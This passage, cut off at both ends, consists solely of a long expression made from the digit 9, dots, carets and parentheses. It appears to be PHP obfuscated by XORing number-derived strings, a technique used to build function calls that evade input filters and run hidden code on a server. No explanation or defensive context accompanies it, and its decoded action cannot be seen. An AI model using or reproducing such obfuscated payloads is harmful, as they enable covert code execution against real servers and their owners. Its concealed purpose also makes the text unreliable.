).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^((((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))))((((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(.9)))).(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9)))).(((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^